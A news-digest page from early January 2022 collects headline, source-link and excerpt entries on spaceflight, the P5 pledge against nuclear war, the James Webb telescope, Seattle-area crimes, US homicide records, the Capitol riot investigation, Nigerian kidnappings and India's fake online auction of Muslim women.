	<p>These totals do not include suborbital launch attempts, which were led by Blue Origin in 2021. The New Shepard launch system flew a record six times in 2021, including three human spaceflights. The company will likely at least double these totals in 2022, as demand for its space tourism service seems to be high.</p> <p>As for orbital launches, 2022 may see even greater numbers than before. China and its commercial space industry are showing no signs of slowing down, and SpaceX will continue to lift its Starlink satellites. This should be <a href="#">a busy year for big rocket debuts</a> as well. There may be as many as 150 orbital launch attempts this year.</p>
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HEADLINE	<b>01/03 Rare joint pledge to avoid nuclear war</b>
SOURCE	<a href="https://www.theguardian.com/world/2022/jan/03/five-nations-pledge-avoid-nuclear-war">https://www.theguardian.com/world/2022/jan/03/five-nations-pledge-avoid-nuclear-war</a>
GIST	<p>Five of the world's most powerful nations have agreed that "a nuclear war cannot be won and must never be fought" in a rare <a href="#">joint pledge</a> to reduce the risk of such a conflict ever starting.</p> <p>The pledge was signed by the US, Russia, China, the UK and <a href="#">France</a>, the five nuclear weapons states recognised by the 1968 Nuclear Non-Proliferation Treaty (NPT) who are also the five permanent members of the UN security council. They are known as the P5 or the N5.</p> <p>Such a common statement on a major issue of global security has become a rarity at a time of increasing friction between <a href="#">Russia</a>, China and the west. With Moscow threatening to invade Ukraine and China signaling its readiness to use military force against Taiwan, the joint statement represents a renewed commitment to prevent any confrontation turning into a nuclear catastrophe.</p> <p>A senior US state department official said the wording of the statement had been hammered out at P5 meetings over several months, despite the high-tension environment.</p> <p>"At the base level to be able to say that this is how we think about these risks, and this is an acknowledgement that it is something that we want to avoid, particularly during a difficult time, I think is noteworthy," the official said.</p> <p>The release of the statement had been timed to coincide with the five-yearly review conference of the NPT, but that conference has been postponed amid the spread of the Omicron variant of Covid-19, and disagreements on whether the session could be held virtually.</p> <p>"We affirm that a nuclear war cannot be won and must never be fought," the statement said, echoing a joint declaration by Ronald Reagan and Mikhail Gorbachev at a <a href="#">1985 summit</a> in Geneva.</p> <p>The NPT was a bargain between states without nuclear weapons, who pledged not to acquire them, and the five nuclear-armed states, which promised to disarm. The review conference, originally planned for 2020, was expected to be contentious as a result of the stalling of momentum towards disarmament and the moves made by the five weapons states to modernise their arsenals.</p> <p>Four other countries with nuclear weapons not recognised under NPT – Israel, India, Pakistan and North Korea – have also shown no signs of reducing their stockpiles.</p> <p>Meanwhile, the breakdown of the 2015 nuclear agreement with Iran and the <a href="#">deadlock so far in attempts to salvage it</a>, have raised the risks of nuclear proliferation, particularly in the Middle East.</p> <p>Monday's joint statement was aimed at improving the atmosphere at the NPT review conference.</p> <p>China's vice-foreign minister, Ma Zhaoxu, welcomed Monday's statement as "positive and weighty", adding it would "help increase mutual trust and replace competition among major powers with coordination and cooperation".</p>

It took several months of negotiation over the wording of the declaration before all five powers were ready to agree. France in particular had concerns that such a statement would undermine the deterrent effect of its arsenal.

“France has a nuclear doctrine reserving the right to use nuclear weapons as a “final warning” to warn off an aggressor or even a state sponsor of terrorism”, said Oliver Meier, senior researcher at the Institute for Peace Research and Security Policy.

Meier said the UK’s reservations were not so clearly expressed but he believed them to be similar.

A line in the joint statement saying that “nuclear weapons – for as long as they continue to exist – should serve defensive purposes, deter aggression, and prevent war,” was added to address French concerns.

The five nuclear weapons powers also stated that the “reduction of strategic risks”, making sure global tensions never lead to nuclear conflict, was one of their “foremost responsibilities”.

“We underline our desire to work with all states to create a security environment more conducive to progress on disarmament,” the statement said.

A senior US official said the declaration was the result “of a good and substantive and constructive conversation about how to reduce nuclear threats and eventually eliminate them”.

“Given the security environment, I’m pretty shocked that the P5 could agree to this much,” Heather Williams, a senior lecturer in defence studies at King’s College London, said.

Williams and other nuclear experts have urged the nuclear weapons powers to improve their channels of crisis communications as one of the ways of reducing risks of an unplanned clash escalating into nuclear conflict.

Arms control advocates widely welcomed the declaration but called for it to be backed up by a return to disarmament.

“With nine nuclear arsenals currently being enhanced, and Covid problems besetting nuclear-armed submarines and facilities, this statement from five of the nuclear-armed leaders is welcomed, but does not go far enough,” said Rebecca Johnson, the vice president of the Campaign for Nuclear Disarmament, and the first president of the International Campaign to Abolish Nuclear Weapons.

“As long as nuclear weapons continue to be advertised and wielded by some, we are all put at risk of nuclear war.”

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HEADLINE	01/03 NASA new space telescope ‘hunky-dory’
SOURCE	<a href="https://abcnews.go.com/Technology/wireStory/nasas-space-telescope-hunky-dory-problems-fixed-82055279">https://abcnews.go.com/Technology/wireStory/nasas-space-telescope-hunky-dory-problems-fixed-82055279</a>
GIST	<p>CAPE CANAVERAL, Fla. -- NASA’s new space telescope is on the verge of completing the riskiest part of its mission — unfolding and tightening a huge sunshade — after ground controllers fixed a pair of problems, officials said Monday.</p> <p>The tennis court-size sunshield on the James Webb Space Telescope is now fully open and in the process of being stretched tight. The operation should be complete by Wednesday.</p> <p>The \$10 billion telescope — the largest and most powerful astronomical observatory ever launched — rocketed away Christmas Day from French Guiana. Its sunshield and primary mirror had to be folded to fit into the European Ariane rocket.</p>

The sunshield is vital for keeping Webb's infrared-sensing instruments at subzero temperatures, as they scan the universe for the first stars and galaxies, and examine the atmospheres of alien worlds for possible signs of life.

Getting the sunshield extended last Friday "was really a huge achievement for us," said project manager Bill Ochs. All 107 release pins opened properly.

But there have been a few obstacles.

Flight controllers in Maryland had to reset Webb's solar panel to draw more power. The observatory — considered the successor to the aging Hubble Space Telescope — was never in any danger, with a constant power flow, said Amy Lo, a lead engineer for the telescope's prime contractor, Northrop Grumman.

They also repointed the telescope to limit sunlight on six overheating motors. The motors cooled enough to begin securing the sunshield, a three-day process that can be halted if the problem crops up again, officials said.

"Everything is hunky-dory and doing well now," Lo said.

Ochs expects the tightening of the sunshield to be drama-free.

"The best thing for operations is boring, and that's what we anticipate over the next three days, is to be boring," he told reporters in a teleconference.

If that holds true, the telescope's gold-plated mirror — more than 21 feet (6.5 meters) across — could unfold as soon as this weekend.

Webb should reach its destination 1 million miles (1.6 million kilometers) away by the end of January. As of Monday, the telescope was more than halfway there. The infrared telescope should begin observing the cosmos by the end of June, ultimately unveiling the first stars and galaxies formed in the universe 13.7 billion years ago. That's a mere 100 million years after the universe-creating Big Bang.

Launched in 1990, Hubble, which sees primarily visible light, has peered as far back as 13.4 billion years ago. Astronomers hope to close the gap with Webb, which is 100 times more powerful.

In another bit of good news Monday, officials said they expect Webb to last well beyond the originally anticipated 10 years based on its fuel efficiency.

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## Crime, Criminals

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HEADLINE	01/03 Kirkland PD probes organized retail crime
SOURCE	<a href="https://www.king5.com/article/news/crime/suspects-get-away-4k-worth-items-organized-theft-kirkland-store/281-e278ebb7-0350-4e6b-aeee-fd99a57690c0">https://www.king5.com/article/news/crime/suspects-get-away-4k-worth-items-organized-theft-kirkland-store/281-e278ebb7-0350-4e6b-aeee-fd99a57690c0</a>
GIST	<p>KIRKLAND, Wash. — The Kirkland Police Department is investigating an organized retail crime after three suspects allegedly stole more than \$4,000 worth of items from a Kirkland store on New Year's Eve.</p> <p>Three men working together targeted Ulta Beauty located on Totem Lake Blvd late Friday afternoon, according to a police report. The suspects allegedly loaded up bags with more than \$4,000 worth of items and fled in a red Toyota sedan.</p>

	<p>Organized retail crime is nothing new but it is something the retail industry is calling a growing issue. Before the holidays, crowds smashed and grabbed their way through stores in California. It was an example of the increasing swarm-style flash mob-like robberies.</p> <p>Scott Decker, an emeritus professor who worked in the School of Criminology and Criminal Justice at Arizona State University, has studied these kinds of crimes and said in some instances before crowds move in, they connect online.</p> <p>"Typically not on the mainstream social networking sites, but on one of the many smaller niche forms of communication that exist," Decker explained. "Because of the nature of these events, they spark up pretty quickly. The people involved don't know each other very well, and individuals go their own way."</p> <p>In 2020, the National Retail Federation, the industry's largest trade group, conducted a survey asking 61 retailers about their experience over the past 12 months. Three in four retailers reported an increase in organized retail crime.</p> <p>Managers at Ulta Beauty told me they could not comment and messages to the store's corporate office have not been returned.</p>
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HEADLINE	<b>01/03 Catalytic converter thieves open fire</b>
SOURCE	<a href="https://komonews.com/news/local/catalytic-converter-thieves-open-fire-when-car-owner-confronts-them">https://komonews.com/news/local/catalytic-converter-thieves-open-fire-when-car-owner-confronts-them</a>
GIST	<p>SEATTLE — A husband and wife who tried to confront a ring of catalytic converter thieves were met with gunfire instead.</p> <p>The couple said the criminals kept cutting into their minivan even after being spotted and showed they were ready to shoot anyone who tried to stop them.</p> <p>It didn't seem too unusual when a car turned onto a dead end street in north Seattle and stopped about halfway down but then one of the neighbors saw a man get out and crouch down behind her vehicle.</p> <p>"That made me alarmed," said Beth, who asked that her last name not be used. "I had my husband go check it out while I called 911."</p> <p>Beth said as her husband approached he could hear the sound of cutting metal and realized the back of the van was jacked into the air.</p> <p>"He ran toward them yelling for them to stop and they weren't stopping," Beth said. "There were three of them. And one of them pulled a gun and shot it in the air."</p> <p>Armed with only a garden hoe, Beth said her husband quickly retreated. However, what shocked them both was the thieves seemed unconcerned they'd been spotted or that they'd just fired a gun.</p> <p>"They finished up," she said. "They kept going. They finished up and then left a couple of minutes later and then the police came just after that."</p> <p>It can take only seconds for criminals to tear out a catalytic converter from the exhaust system. They contain precious metals which thieves trade for cash at scrap yards. Organized crime rings have emerged. Beth said the group her husband confronted had an armed lookout, a getaway driver and the man who actually cut the part out of her van.</p> <p>It will cost about \$2,000 to replace the catalytic converter but Beth said far worse is their shattered sense of safety.</p> <p>"It's pretty scary to have people like that out there that feel free to do that," she said.</p>

	<p>State lawmakers are looking to crack down on these crimes. Sen. Jeff Wilson, R-Longview, has introduced a bill to keep scrap dealers from buying catalytic converters from anyone other than commercial enterprises and vehicle owners. A violation would be a misdemeanor.</p> <p>Other bills are expected to be introduced as the legislative session gets underway next week.</p>
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HEADLINE	<b>01/03 Charges against Tulalip fishermen tossed</b>
SOURCE	<a href="https://www.q13fox.com/news/judge-dismisses-charges-against-tulalip-fishermen-after-years-of-court-battles">https://www.q13fox.com/news/judge-dismisses-charges-against-tulalip-fishermen-after-years-of-court-battles</a>
GIST	<p><b>MT. VERNON, Wash.</b> - After over five years of investigations and court filings, a shellfish trafficking case brought by the Washington Department of Fish and Wildlife has ended with a judge ruling the court didn't have jurisdiction to hear the case in the first place.</p> <p>It's the second big win for Tulalip fishermen Hazen Shopbell and Anthony Paul. In early 2021, the pair received a \$50,000 settlement for a countersuit over a false arrest claim stemming from the case.</p> <p>WDFW began their investigation into Shopbell, Paul, and their company Puget Sound Seafood Distributors back in 2016. The lead investigator believed the pair were illegally trafficking shellfish, selling clams off-reservation without proper documentation.</p> <p>Days before the trial was set to begin, a flurry of court filings changed the case and the arguments of the state, including where the alleged crimes had taken place. At issue: Did the actions being prosecuted happen on tribal land, or inside Washington?</p> <p>On Monday, Judge Brian Stiles determined that the state's case did not belong in a Skagit County courtroom, telling lawyers as he dismissed the case.</p> <p>"My decision is consistent with the heart of the Treaty of Rafeedie Consent Decree, preserving Treaty Rights that were gained many years ago. This court shouldn't be involved in those issues," Stiles ruled.</p> <p>The question over who should have had jurisdiction has floated in the background for years. The Tulalip Tribe chairwoman essentially told WDFW to back off in previous letters.</p> <p>Following reports on this case, the Northwest Indian Fisheries Council wrote a similar letter, urging them to stop enforcement actions that violated law. The letter said it looked like WDFW was, "focusing its enforcement efforts against tribal members who typically do not have the resources to defend themselves."</p> <p>It's a similar argument to what attorney Gabe Galanda had said in court, arguing that rather than go after powerful tribes – WDFW was instead going after individual tribe members.</p> <p>WDFW has denied that it was going after tribal members, though questions were by defense attorneys about hand-written notes by WDFW investigator Wendy Willette. Those notes included questions like, "Why is PSSD selling crab to other wholesalers while monopolizing the Tulalip crab fishery?" and "Why has PSSD taken all business from other established Tulalip buyers?"</p> <p>Galanda specifically noted her use of terms "reverse-racism," and a quote: "We're going to sell to our own kind now," in her notes.</p> <p>The latest ruling doesn't mean things are over for Shopbell and Paul, it's still possible that the state could appeal the decision. To date, WDFW has made it clear that despite the complaints of racism, and targeting of tribal members that they've simply followed the investigation where it led to.</p> <p>FOX 13 has reached out to, and been in contact with, WDFW for comment following these latest developments. A statement is expected to be given at a later date.</p>
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HEADLINE	01/03 Homicide records set in 10 populous cities
SOURCE	<a href="https://www.cnn.com/2022/01/03/us/homicide-rate-us-statistics/index.html">https://www.cnn.com/2022/01/03/us/homicide-rate-us-statistics/index.html</a>
GIST	<p>(CNN)More than two-thirds of the country's 40 most populous cities saw more homicides last year than in 2020, according to a CNN analysis of police department data.</p> <p>Ten of those cities recorded more homicides in 2021 than any other year on record. Those are Philadelphia; Austin, Texas; Columbus, Ohio; Indianapolis; Portland, Oregon; Memphis, Tennessee; Louisville, Kentucky; Milwaukee; Albuquerque, New Mexico; and Tucson, Arizona. Minneapolis <a href="#">tied its previous record</a> number of homicides, with 97 in the years 1997 and 2021.</p> <p>Many cities have seen homicides reach near-record highs in the past year. Chicago police investigated 797 last year, the most since 1996. But more than 800 homicides happened within the city when including expressway shootings, which are investigated by a different agency.</p> <p>Homicides were also up by 12% in Los Angeles from 2020 and 4% in New York. Several cities didn't respond to CNN requests for data; the number of cities reporting year-over-year increases may grow.</p> <p>Homicides spiked in 2020 following the murder of George Floyd by a Minneapolis police officer and subsequent unrest in cities across the country. For many cities, the elevated rates of homicide continued into 2021.</p> <p>The rise in homicides -- mostly by gun -- happened all across the country. Thomas Abt, a senior fellow at the Council on Criminal Justice, attributed the spike to three major factors: the impact of <a href="#">Covid-19</a> on communities and first responders; fallout of social unrest after Floyd's murder; and the surge in gun sales since the pandemic started.</p> <p>These increases are not isolated to any region. One-year increases don't always portend a significant spike in crime. But almost every major US city saw more homicides in both 2020 and 2021 than in 2019. Homicides rose sharply in the summer of 2020 and have remained at high levels since.</p> <p>According to the <a href="#">2020 Uniform Crime Report</a> from the FBI, homicides rose 30% from 2019 to 2020, the largest single-year increase the agency has recorded since it began tracking these crimes in the 1960s.</p> <p>"The pandemic, like community gun violence, concentrates among the poorest and most disenfranchised people," <a href="#">Abt told CNN in December</a>. "So those communities are doubly impacted, not only by Covid-19, but by gun violence."</p> <p>At the same time, the institutions that are responsible for responding to violence, including police and community organizations, were also under stress, Abt added, calling it a "perfect storm."</p> <p>While experts say the reasons for the rise in homicides are varied, murders are increasingly carried out with guns. The increase in gun violence was underscored in the 2020 UCR Report, which stated that about 77% of reported murders in 2020 were committed with a gun, up from 74% in 2019. There is no federal database of gun sales, but other independent surveys have found that <a href="#">gun sales have soared during the Covid-19 pandemic</a>.</p> <p>According to the FBI report summarizing 2020 crime, the number of homicides that year began to escalate during the summer months, peaking in June and July and remaining at high levels. Capturing a full picture of homicide in the United States is nearly impossible. The UCR report is the most comprehensive data set available, but participation by law enforcement agencies is voluntary.</p> <p>About 85% of the country's more than 18,000 agencies submitted their 2020 crime data to the FBI. The 2021 UCR report will likely not publish until late this year.</p>
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HEADLINE	01/04 Feds hunt for Capitol riot fugitives
SOURCE	<a href="https://www.thedailybeast.com/inside-the-feds-hunt-for-hundreds-of-capitol-riot-fugitives">https://www.thedailybeast.com/inside-the-feds-hunt-for-hundreds-of-capitol-riot-fugitives</a>
GIST	<p>A year after a pro-Trump mob bent on overturning the results of the 2020 presidential election sacked the U.S. Capitol, the hunt for suspects is nowhere near over.</p> <p>In fact, the feds are still actively searching for hundreds of known rioters.</p> <p>FBI Director Chris Wray has described the Jan. 6 attack as an act of domestic terrorism, which led directly or indirectly to five deaths, roughly 140 injured law enforcement officers, and \$1.5 million worth of damage to the Capitol building. Among the alleged perpetrators bagged so far: violent extremists from 45 states and the District of Columbia; <a href="#">avowed neo-Nazis</a>, <a href="#">active-duty</a> and <a href="#">retired members</a> of the military; <a href="#">off-duty cops</a>; loosely affiliated groups of far-right gang members like the <a href="#">Proud Boys</a>; <a href="#">QAnon adherents</a>; and <a href="#">at least one Olympic gold medalist</a>.</p> <p>Immediately after the siege, the Department of Justice launched an investigation it called “one of the largest in American history.” Steven D’Antuono, assistant director in charge of the FBI’s Washington Field Office, said at the time the bureau would “leave no stone unturned until we locate and apprehend anyone who participated in the violence.” The scope of the task at hand was described by one defense attorney as being more complex than untangling the 9/11 attacks.</p> <p>So far, more than 700 people have been charged for their alleged involvement in the riot, FBI spokesperson Samantha Shero told The Daily Beast. All face federal rather than state or local charges. They have ranged from trespassing to conspiracy against the United States.</p> <p>Authorities are still looking for the person they say <a href="#">planted pipe bombs near the offices of the Democratic National Committee</a> on the night of Jan. 5, and have not slowed in their efforts. Meanwhile, two-thirds of Republicans continue to believe Donald Trump’s so-called Big Lie that the election was somehow stolen from him, and nearly 40 percent of that group think violence is the only way to “save” the country, <a href="#">according to recent polling</a>.</p> <p>But if anyone there that day assumes they’re safe from prosecution because 12 months have passed, they’re wrong. Because not only are the feds hunting for them, a digital army of volunteer investigators are also on the case—and the ad hoc crew of citizen sleuths have already collected a dozen or so scalps.</p> <p>Somewhat infamously, only 14 people <a href="#">were arrested by the U.S. Capitol Police on Jan. 6</a>: 10 for unlawful entry; two for assaulting a police officer; and two for weapons possession. But the cascade of arrests, charges, and—in recent months—convictions and sentences has not stopped since then. Among other more recent highlights, in October, a <a href="#">Capitol Police officer was charged</a> with obstruction of justice for telling one of the alleged rioters to delete incriminating evidence of his actions that day he had posted on social media.</p> <p>And the search for violent thugs who preyed on the seat of American democracy goes on. According to FBI estimates, as of Dec. 30 there were “around 250 individuals” pictured on the agency’s Jan. 6 wanted list and accused of having assaulted law enforcement officers that day who have not yet been identified or arrested, according to Shero. An <a href="#">additional 100 suspects are wanted</a> for committing other “violent acts” on Capitol grounds. The bureau says it is also looking to ID 16 suspects seen on video assaulting federal officers that day, and two suspects who were filmed assaulting members of the media.</p> <p>The FBI declined to share details about any rioters agents have identified but have not yet arrested. However, the bureau has publicly pegged the total number of people involved in the Capitol attack that day at around 2,000.</p> <p>In a modern twist, the feds have received an assist from civilians working to identify countless unnamed Capitol rioters caught on camera during the rampage. Decentralized online groups devoted to exposing rioters have some 2,500 names on their lists, which include people spotted outside the Capitol but who</p>

never entered the building. The work of these private “sedition hunters” has been cited in court documents at least a dozen times to date, and the bureau has received more than 250,000 tips from the public at large.

“While it may appear that no overt law enforcement action is being taken on some tips that have been submitted, tipsters should rest assured that the FBI is working diligently behind the scenes to follow all investigative leads to verify tips from the public and bring these criminals to justice,” Shero said.

Of the 2,000 or so people who were there, there are at least 1,000 who “crossed the threshold in terms of going into the Capitol and being hit [with] federal crimes,” according to Seamus Hughes, deputy director of the Program on Extremism at George Washington University, who called the number a “conservative estimate.”

“The law enforcement agencies that I’m talking to are still working through cases, and facial recognition, and still identifying folks as we speak,” Hughes, who is also a Daily Beast contributor, said in an interview.

Six days after the Capitol siege, D’Antuono of the FBI said in a statement that the bureau had to “separate the aspirational from the intentional, and determine which of the individuals saying despicable things on the internet are just practicing keyboard bravado or they actually have the intent to do harm.”

As of August, this worked out to about three arrests a day, [according to the Department of Justice](#).

Hughes explained that the Department of Justice was “trying to clear the decks as best they can” of lower-level cases by offering plea deals that most defendants would agree to accept. This, suggested Hughes, allows investigators and prosecutors to focus their resources on bigger fish who were involved, like members of the Oath Keepers, a right-wing anti-government alliance that purports to consist of current or former police officers and military members and is [classified as an extremist group by the Southern Poverty Law Center](#).

“They’re not slowing down by any means,” Hughes added. “They’re still working weekends. They still have agents pulled onto these cases that were pulled off of white-collar crime, ISIS cases, they’re all now on the January 6 investigation. They haven’t ramped down their resources on the investigation yet. And it’s not clear to me whether they will in the near future. This is to say that if individuals were there in the Capitol and think that enough time has passed, [that] they may have dodged a bullet, I would say the FBI is still looking for them.”

At ground level, the investigation is playing out exactly as it should be, retired FBI Supervisory Special Agent Dennis Franks told The Daily Beast.

The [FBI’s Washington Field Office is heading up the investigation](#), with an assistant director overseeing it. There are new leads going out every day, to every division across the country, and agents are using “everything at their disposal” to crack each case, according to Franks, citing personal conversations with active and former agents.

“You get a lot of information that doesn’t pan out, but it still has to be pursued—you have to find if there’s something there or not,” said Franks. “They’re not going to set up a deadline that this has to be done by. They’ll just carry it out, follow it as long as it takes.”

Agents are tracking Jan. 6-ers down by weeding through a massive tranche of tips, utilizing facial recognition software, and subpoenaing records from internet and phone providers to obtain names of people who were in and around the Capitol building during the riot, according to court filings.

But in addition to providing tips and IDing suspected Capitol rioters the FBI may not have yet, citizen sleuths [can trawl social media in ways that are generally off-limits for the feds](#).

“We’re not allowed to... just sit and monitor social media and look at one person’s posts... just in case,” FBI Director Christopher Wray [told the House Judiciary Committee in June](#), citing the bureau’s civil liberties guidelines.

The work of citizen sleuths also provides a novel way for agents to keep their investigative techniques as close to the vest as possible, using “parallel reconstruction” in probable-cause affidavits when they can. Instead of explicitly including the geofencing or facial recognition tools they used, investigators can instead point to a tip from the public as the clue they needed for a positive ID.

One of the biggest questions pertaining to Jan. 6 has been the issue of coordination. A conspiracy, in legal terms, can be made up of just two people, said Franks, who worked as an assistant district attorney in North Carolina before becoming an FBI agent.

Many of the organized groups seen attacking the Capitol coalesced on the internet, with Facebook largely acting as “the big unifier,” according to Tech Transparency Project director Katie Paul, who specializes in tracking criminal activity online.

The algorithms social networks use to keep people engaged mean they’re not passive third-party platforms, but are actively facilitating this kind of organizing, Paul told The Daily Beast.

“I think as you have this older population growing increasingly digitally literate, with Facebook specifically, you run into a future where... the algorithm creates these alternative realities for people and makes it virtually impossible for them to break out of that loop of extremism,” said Paul. “In fact, the platform’s hand-feeding them more extremist content each time they click on something.”

Facebook has regularly [disputed the charge that their algorithm fuels extremism](#), although whistleblower Frances Haugen told the U.S. Senate that the company knows its platform sows political division but has not done anything about it in choosing “[profits over safety](#).”

Drew Pusateri, a spokesman for Facebook parent company Meta, told The Daily Beast that the “responsibility for the violence that occurred on January 6 lies with those who attacked our Capitol and those who encouraged them. We took steps to limit content that sought to delegitimize the election, including labeling candidates’ posts with the latest vote count after Mr. Trump prematurely declared victory, pausing new political advertising, and removing the original #StopTheSteal Group in November.”

After the violence at the Capitol on Jan. 6, Facebook “removed content with the phrase ‘stop the steal’ under our Coordinating Harm policy and suspended Trump from our platforms,” Pusateri said.

But one of the most striking revelations Paul said she has experienced while investigating the Capitol riot has been “how people that are affiliated with law enforcement can get looped into these kinds of worlds.”

Not only have Paul and her team spotted active and former military sharing extremist content online, they also identified a retired Capitol Police lieutenant who was “essentially cheering on the insurrection” on Facebook.

“There’s a really long way to go, especially when we know that now the military is considering even ‘liking’ or following certain extremist content as dismissible,” Paul said. (The Pentagon has identified “reading, following, and liking extremist material and content in social media forums and platforms” as potentially disqualifying, but it is still something of a “gray area,” [according to an April 2021 memorandum from Secretary of Defense Lloyd J. Austin III](#).)

Another important area of focus in the aftermath of Jan. 6 has been to identify any elected officials who may have played an active role that day. The [House Select Committee to Investigate the January 6th Attack on the United States Capitol](#), which was formed by Speaker Nancy Pelosi, a Democrat, is currently looking into any involvement or coordination in the run-up by elected officials. It has already subpoenaed a slew of politicians and members of Trumpworld, and will continue to do so in the coming weeks and

months. The body does not itself have the authority to bring criminal charges against any of its targets, but can refer cases it recommends for prosecution to the Department of Justice, which will make the ultimate determination.

Public Wise, a Washington, D.C. watchdog group, is getting ready to launch its “[Insurrection Index](#),” a searchable online database (now in beta form) of individuals and organizations linked in some way to the Capitol riot—not only those charged with crimes, but also those seen at associated rallies and events on the day of Jan. 6. Most importantly, according to Public Wise executive director Christina Baal-Owens, the index will identify those holding public office, or those now running for office, who were in any way involved with the events of Jan. 6 or any activities surrounding them, including helping to push Trump’s “Big Lie.” (The organization has so far identified nine Jan. 6-ers who have won local and state elections in the 12 months since.)

“As someone who has worked in politics for many years, I do believe that politics has a strangely short memory,” Baal-Owens told The Daily Beast. “And I share the fear that within a cycle or two, even things as egregious as [putting a gallows up outside of the Capitol](#) could be forgotten.”

Public Wise is now working to make the Insurrection Index “actionable,” which Baal-Owens hopes will keep insurrectionists and the Jan. 6-adjacent out of office or other positions of public trust.

As for those who are already there, it may be too late in many instances.

In October, *Rolling Stone* reported that [multiple congressional Republicans were](#) “intimately involved” in planning Trump’s so-called Stop the Steal rally that immediately preceded the violence at the Capitol. But prosecuting U.S. officials presents a Sisyphean task that few decision-makers at the Justice Department would be likely to take on, according to Dennis Franks.

“If something comes up, certainly I think they’ll look at it,” he said. “But unless there is overwhelming evidence that they were directly involved or somehow they can show that their words did incite, it’s going to be very difficult to bring charges against members of Congress, given all the political considerations—it would have to be a smoking gun type of thing.”

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HEADLINE	<b>01/03 Nigeria: abducted schoolchildren rescued</b>
SOURCE	<a href="https://www.kiro7.com/news/world/21-abducted/S2BZEQUBWPGPOBSV3NMGVANQ7E/">https://www.kiro7.com/news/world/21-abducted/S2BZEQUBWPGPOBSV3NMGVANQ7E/</a>
GIST	<p>ABUJA, Nigeria — (AP) — At least 21 schoolchildren in Nigeria have been rescued hours after they were abducted by armed groups in the West African country’s troubled northwestern region, police said.</p> <p>The schoolchildren were abducted on Friday while they were traveling with their teacher from the Bakura area to an Islamic school in neighboring Katsina state, police spokesman Mohammed Shehu said in a statement over the weekend.</p> <p>Security forces responded and rescued the 21 students and are “currently working to rescue the remaining victims and apprehend the perpetrators,” Shehu said.</p> <p>He did not say how many hostages are still being held but said the assailants seized travelers from as many as five vehicles, suggesting there are many more still in captivity.</p> <p>Children have often been targeted in northwestern Nigeria in attacks by armed groups on rural communities far from the protection of security forces who are often outgunned and outnumbered.</p> <p>A day after the attack on the schoolchildren, the Nigeria Air Force launched “successful” airstrikes targeting the camps of the gunmen in Zamfara state, senior official Edward Gabkwet told The Associated Press on Monday. He said the number of those killed in the airstrikes has not been confirmed.</p>



	<p>“We are going to go after each and every one of them (the gunmen) until all Nigerians feel safe to go about their normal businesses,” he said.</p> <p>On Sunday, another group of bandits killed six rural residents in several attacks in Kaduna state which neighbors Nigeria’s capital city, according to Samuel Aruwan, the state commissioner for internal security.</p> <p>The large bands of assailants mostly consist of young men from the Fulani ethnic group, who had traditionally worked as nomadic cattle herders and are caught up in a decades-long conflict with Hausa farming communities over access to water and grazing land.</p> <p>The gunmen — in groups of more than 150, according to Katsina Governor Aminu Masari — appear to be increasingly organized and well-armed, despite moves by Nigerian authorities to stem the violence including recently designating them as terrorist organizations.</p>
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HEADLINE	<b>01/03 Grim picture of Chicago-area gun deaths</b>
SOURCE	<a href="https://www.seattletimes.com/nation-world/nation/report-paints-grim-picture-of-chicago-area-gun-deaths/">https://www.seattletimes.com/nation-world/nation/report-paints-grim-picture-of-chicago-area-gun-deaths/</a>
GIST	<p>CHICAGO (AP) — More people were shot to death in Chicago and surrounding Cook County in 2021 than in any other year on record, officials announced Monday, two days after authorities announced that the nation’s third-largest city recorded its most homicides in a quarter-century.</p> <p>There were 1,002 gun-related homicides last year in Cook County, which includes Chicago and its surrounding suburbs, the county medical examiner’s office said in a news release. That was 121 more than the previous record set in 2020 and nearly twice as many as in 2019.</p> <p>The announcement came two days after police in Chicago, where the vast majority of the county’s homicides occurred, reported that there were more homicides in the city, 797, than in any year since 1996. As in Chicago, where the vast majority of homicides involved guns, all but 85 of the 1,087 Cook County homicides were gun-related.</p> <p>In both Chicago and the county overall, the vast majority of last year’s homicides happened in neighborhoods made up mostly of racial minorities. In Cook County, Black people were the victims of 80% of the homicides and Hispanic people were the victims in 14% of them.</p> <p>The pandemic helped make 2021 the second-busiest year ever for the medical examiner’s office, with nearly 4,500 COVID-19 deaths contributing to the 12,618 cases it handled. Only 2020, when vaccines only rolled out in the final weeks of the pandemic’s first year, was busier, with the office handling more than 16,000 cases.</p> <p>Opioids caused at least 1,488 deaths in Cook County last year, though the medical examiner’s office said it expects that such drugs also were responsible for an additional 600-700 of its pending cases. If so, that would put the final 2021 opioid death figure at more than 2,000, which would surpass the 1,840 registered in 2020, the office said.</p>
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HEADLINE	<b>01/04 India: arrest; fake auction Muslim women</b>
SOURCE	<a href="https://www.seattletimes.com/nation-world/man-arrested-for-faking-online-sale-of-indian-muslim-women/">https://www.seattletimes.com/nation-world/man-arrested-for-faking-online-sale-of-indian-muslim-women/</a>
GIST	<p>NEW DELHI (AP) — Police in India have arrested a man alleged to be behind the offering for sale of prominent Muslim women through a fake online auction, according to government officials, in a case that has sparked outrage across the country.</p> <p>Satej Patil, the technology minister for Maharashtra state, said late Monday that the cyber unit of the Mumbai Police has detained a 21-year-old engineering student from Bengaluru city in neighboring Karnataka state and registered a case against him. Police did not identify the suspect, and it wasn’t clear whether the man had created the auction website.</p>



Photographs of more than 100 prominent Indian Muslim women, including journalists, activists, film stars and artists, were displayed last weekend without their permission on a website and put up for fake auction. The women listed on the website also included the 65-year-old mother of a disappeared Indian student and Pakistani Nobel laureate Malala Yousafzai.

The website, which was taken down within 24 hours, was called “Bulli Bai,” a derogatory slang term for Indian Muslims. Though there was no real sale involved, the Muslim women listed on the website said the auction was intended to humiliate them, many of whom have been vocal about rising Hindu nationalism in India and some of the policies of Prime Minister Narendra Modi.

The website was hosted on GitHub, a San Francisco-based coding platform. A company spokesperson said GitHub had taken down the user account that had hosted the website on its platform, and that it would cooperate with investigating authorities.

The fake auction unleashed outrage on Twitter after complaints from the victims, with several women posting screenshots after finding their photos listed on the website. Women rights groups and politicians from opposition parties urged the governing Bharatiya Janata Party to take action against online harassment of Muslim women, prompting Indian technology minister Ashwini Vaishnaw to promise strict measures.

Police in at least three states said they have opened investigations into the incident and filed criminal complaints against developers of the website, based on the complaints of the targeted women.

This is not the first time Muslim women were listed on a fake auction website. Last June, a similar website called “Sulli Deals,” also a derogatory term for Muslim women, was created for the same purpose. That website remained online for weeks and was only taken down by authorities after complaints from victims. Police opened an investigation into that case, but no one was arrested.

Indian women, particularly Muslims, have often found themselves the target of hate and abuse on social media platforms, including Twitter. Outspoken Muslim women, including journalists and activists and those critical of Modi and his Hindu nationalist party, have received threats of rape and violence.

Many of the victims say the fake auction website is the latest attempt to intimidate them.

